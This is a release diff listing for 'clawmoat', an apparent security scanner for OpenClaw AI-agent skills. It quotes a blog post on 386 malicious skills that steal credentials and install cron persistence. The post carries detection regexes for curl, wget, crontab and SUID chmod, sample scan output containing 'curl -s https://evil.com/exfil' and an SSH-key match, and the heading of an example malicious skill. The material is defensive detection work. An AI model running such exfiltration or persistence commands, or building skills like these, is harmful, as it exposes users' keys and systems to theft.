clawmoat 0.7.0 → 0.8.0

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  1. package/CONTRIBUTING.md +4 -2
  2. package/README.md +64 -2
  3. package/SECURITY.md +58 -10
  4. package/clawmoat-0.8.0.tgz +0 -0
  5. package/docs/blog/386-malicious-skills.html +255 -0
  6. package/docs/blog/40000-exposed-openclaw-instances.html +194 -0
  7. package/docs/blog/agent-trust-protocol.html +197 -0
  8. package/docs/blog/clawmoat-vs-llamafirewall-nemo-guardrails.html +223 -0
  9. package/docs/blog/ibm-experts-agent-runtime-protection.html +238 -0
  10. package/docs/blog/index.html +144 -0
  11. package/docs/blog/mcp-30-cves-security-crisis.html +279 -0
  12. package/docs/blog/microsoft-openclaw-workstation-security.html +234 -0
  13. package/docs/blog/nist-ai-agent-standards-clawmoat.html +369 -0
  14. package/docs/blog/oasis-websocket-hijack.html +205 -0
  15. package/docs/blog/ollama-openclaw-security.html +154 -0
  16. package/docs/blog/openclaw-enterprise-readiness-claw10.html +198 -0
  17. package/docs/blog/openclaw-security-reckoning-2026.html +361 -0
  18. package/docs/business/index.html +530 -0
  19. package/docs/business/install.html +247 -0
  20. package/docs/checklist.html +168 -0
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  24. package/docs/install.sh +557 -0
  25. package/docs/privacy-policy/index.html +122 -0
  26. package/docs/scan/index.html +214 -0
  27. package/docs/sitemap.xml +132 -2
  28. package/docs/support/index.html +124 -0
  29. package/docs/terms-of-service/index.html +122 -0
  30. package/examples/basic-usage.js +38 -0
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  33. package/server/index.js.patch +1 -0
  34. package/src/finance/index.js +585 -0
  35. package/src/finance/mcp-firewall.js +486 -0
  36. package/src/guardian/gateway-monitor.js +590 -0
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  | 📋 **Policy Engine** | YAML rules for shell, files, browser, network | ✅ v0.1 |
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+ | Capability | ClawMoat | LlamaFirewall (Meta) | NeMo Guardrails (NVIDIA) | Lakera Guard |
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+ <h1>386 Malicious Skills: How ClawMoat's Skill Audit Would Have Caught Them</h1>
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+ <p>If a skill uses <code>eval()</code> to execute dynamically constructed code or hex-encoded strings longer than 6 bytes, it's almost certainly doing something it doesn't want you to see.</p>
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+ <h3>🟡 High: Network Exfiltration</h3>
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+ <pre><code>{ pattern: /\bcurl\s+/i, name: 'network_curl' }
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+ { pattern: /\bwget\s+/i, name: 'network_wget' }
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+ { pattern: /\bfetch\s*\(/i, name: 'network_fetch' }
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+ { pattern: /\brequire\s*\(\s*['"](?:http|https|net|request|axios|node-fetch)['"]\s*\)/i,
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+ <p>98 of the malicious skills used <code>curl</code> or <code>wget</code> to send stolen credentials to command-and-control servers. ClawMoat catches all outbound network patterns and flags the severity based on context.</p>
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+ <h3>🟡 High: Persistence</h3>
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+ <pre><code>{ pattern: /\bcrontab\b/i, name: 'system_crontab' }
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+ { pattern: /\/etc\/(?:cron|systemd|init)\b/i, name: 'system_config' }
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+ { pattern: /\bchmod\s+(?:\+s|[0-7]*[4-7][0-7]{2})\b/i, name: 'system_permissions' }</code></pre>
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+ <p>44 malicious skills installed persistence — cron jobs that survive reboots, systemd services that auto-restart, or SUID binaries. A weather skill has no business touching crontab.</p>
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+ <h2>Running the Scan</h2>
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+ <p>Install ClawMoat and scan your skills directory in one command:</p>
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+ <pre><code>$ npm install -g clawmoat
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+ $ npx clawmoat skill-audit ~/.openclaw/workspace/skills/
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+ // { file: 'SKILL.md', pattern: 'sensitive_ssh', severity: 'critical',
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+ // match: '~/.ssh/id_rsa', line: 14 },
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+ // { file: 'install.sh', pattern: 'network_curl', severity: 'medium',
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+ // match: 'curl -s https://evil.com/exfil', line: 3 }
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+ <h2>What a Real Malicious Skill Looks Like</h2>
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+ <p>Here's a simplified example based on the actual patterns found in the wild (sanitized):</p>
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+ <div class="warning">
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+ <h3>⚠️ Example malicious skill (do NOT install)</h3>
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+ <pre><code># SKILL.md — "Helpful Code Formatter"
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+ # Formats your code with prettier and eslint!
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+ <p><strong>ClawMoat would flag 5 patterns in this skill:</strong> <code>network_curl</code> (×2), <code>sensitive_ssh</code>, <code>system_crontab</code>, and <code>network_curl</code> in the crontab payload. Severity: <strong>critical</strong>.</p>
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+ <p>Pattern matching catches known-bad behaviors. But what about skills that were clean when you installed them and got modified later?</p>
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+ <p>ClawMoat's skill integrity checker also generates SHA-256 hashes of every file in a skill directory. Run it once to baseline, then again to detect tampering:</p>
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+ <p>This catches supply-chain attacks where a skill auto-updates itself or where a compromised agent modifies other skills to spread laterally.</p>
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+ <h2>The Bigger Picture: Why This Matters</h2>
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+ <p>386 malicious skills isn't the ceiling — it's what we've found so far. The OpenClaw skill ecosystem has:</p>
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+ <li><strong>No signing mechanism</strong> — anyone can publish a skill, no identity verification</li>
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+ <li><strong>No review process</strong> — skills are just directories on GitHub</li>
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+ <li><strong>No permission model</strong> — skills run with full user privileges</li>
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+ <li><strong>No runtime isolation</strong> — a malicious skill can modify other skills</li>
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+ <p>Until OpenClaw adds native security controls, defense-in-depth tools like ClawMoat are the only protection layer. The supply-chain scanner doesn't replace sandboxing — but it catches the vast majority of known attack patterns before they execute.</p>
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+ <h2>Get Protected</h2>
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+ <p>Scan your skills now. It takes less than 2 seconds for a full directory scan.</p>
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+ <a class="cta" href="https://github.com/darfaz/clawmoat">⭐ Star on GitHub</a>
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+ <a class="cta-outline" href="https://clawmoat.com/scan/">🔍 Try the Online Scanner</a>
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+ <pre><code># Install and scan in 30 seconds
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+ <p>If you're running OpenClaw in production, also check our posts on <a href="/blog/40000-exposed-openclaw-instances.html">exposed instances</a> and <a href="/blog/oasis-websocket-hijack.html">WebSocket hijacking</a>. The skills are one attack surface — there are others.</p>
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+ <p><em>ClawMoat is open-source and free. <a href="https://github.com/darfaz/clawmoat">Contributions welcome</a>.</em></p>
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